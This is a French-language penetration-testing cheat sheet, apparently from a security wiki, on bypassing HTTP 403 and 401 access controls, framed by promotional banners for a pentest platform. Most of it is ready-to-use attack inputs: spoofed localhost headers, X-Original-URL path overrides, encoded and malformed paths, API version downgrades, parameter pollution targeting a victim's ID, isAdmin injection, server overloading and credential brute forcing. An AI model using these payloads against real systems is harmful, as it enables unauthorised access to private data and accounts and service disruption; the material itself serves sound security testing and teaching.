403 & 401 Bypasses
Last updated
Last updated
Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
Essayez d'utiliser différents verbes pour accéder au fichier : GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Vérifiez les en-têtes de réponse, peut-être que des informations peuvent être fournies. Par exemple, une réponse 200 à HEAD avec Content-Length: 55
signifie que le verbe HEAD peut accéder aux informations. Mais vous devez toujours trouver un moyen d'extraire ces informations.
Utiliser un en-tête HTTP comme X-HTTP-Method-Override: PUT
peut écraser le verbe utilisé.
Utilisez le verbe TRACE
et si vous avez beaucoup de chance, peut-être que dans la réponse vous pouvez également voir les en-têtes ajoutés par les proxies intermédiaires qui pourraient être utiles.
Changer l'en-tête Host en une valeur arbitraire (qui a fonctionné ici)
Essayez d'utiliser d'autres User Agents pour accéder à la ressource.
Fuzz des en-têtes HTTP : Essayez d'utiliser des en-têtes de proxy HTTP, une force brute HTTP Authentication Basic et NTLM (avec quelques combinaisons seulement) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil fuzzhttpbypass.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Si le chemin est protégé, vous pouvez essayer de contourner la protection du chemin en utilisant ces autres en-têtes :
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Si la page est derrière un proxy, peut-être que c'est le proxy qui vous empêche d'accéder aux informations privées. Essayez d'abuser de l'HTTP Request Smuggling ou des en-têtes hop-by-hop.
Fuzz des en-têtes HTTP spéciaux à la recherche de réponses différentes.
Fuzz des en-têtes HTTP spéciaux tout en fuzzant les méthodes HTTP.
Supprimez l'en-tête Host et peut-être pourrez-vous contourner la protection.
Si /chemin est bloqué :
Essayez d'utiliser /%2e/chemin _(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi_** /%252e**/chemin (double encodage d'URL)
Essayez le contournement Unicode : /%ef%bc%8fchemin (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont encodés à nouveau, cela sera //chemin et peut-être que vous aurez déjà contourné la vérification du nom /chemin
Autres contournements de chemin :
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Utilisez toute cette liste dans les situations suivantes :
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Autres contournements d'API :
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Non autorisé
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Non autorisé
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (Pollution de paramètres JSON)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Pollution de paramètres)
Changer la valeur du paramètre : De id=123
--> id=124
Ajouter des paramètres supplémentaires à l'URL : ?
id=124
—-> id=124&isAdmin=true
Supprimer les paramètres
Réorganiser les paramètres
Utiliser des caractères spéciaux.
Effectuer des tests de limite dans les paramètres - fournir des valeurs comme -234 ou 0 ou 99999999 (juste quelques exemples de valeurs).
Si vous utilisez HTTP/1.1 essayez d'utiliser 1.0 ou même testez s'il prend en charge 2.0.
Obtenez l'IP ou le CNAME du domaine et essayez de le contacter directement.
Essayez de surcharger le serveur en envoyant des requêtes GET courantes (Cela a fonctionné pour ce gars avec Facebook).
Changer le protocole : de http à https, ou de https à http
Allez sur https://archive.org/web/ et vérifiez si dans le passé ce fichier était accessible mondialement.
Devinez le mot de passe : Testez les identifiants courants suivants. Connaissez-vous quelque chose sur la victime ? Ou le nom du défi CTF ?
Brute force: Essayez l'authentification de base, digest et NTLM.
Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.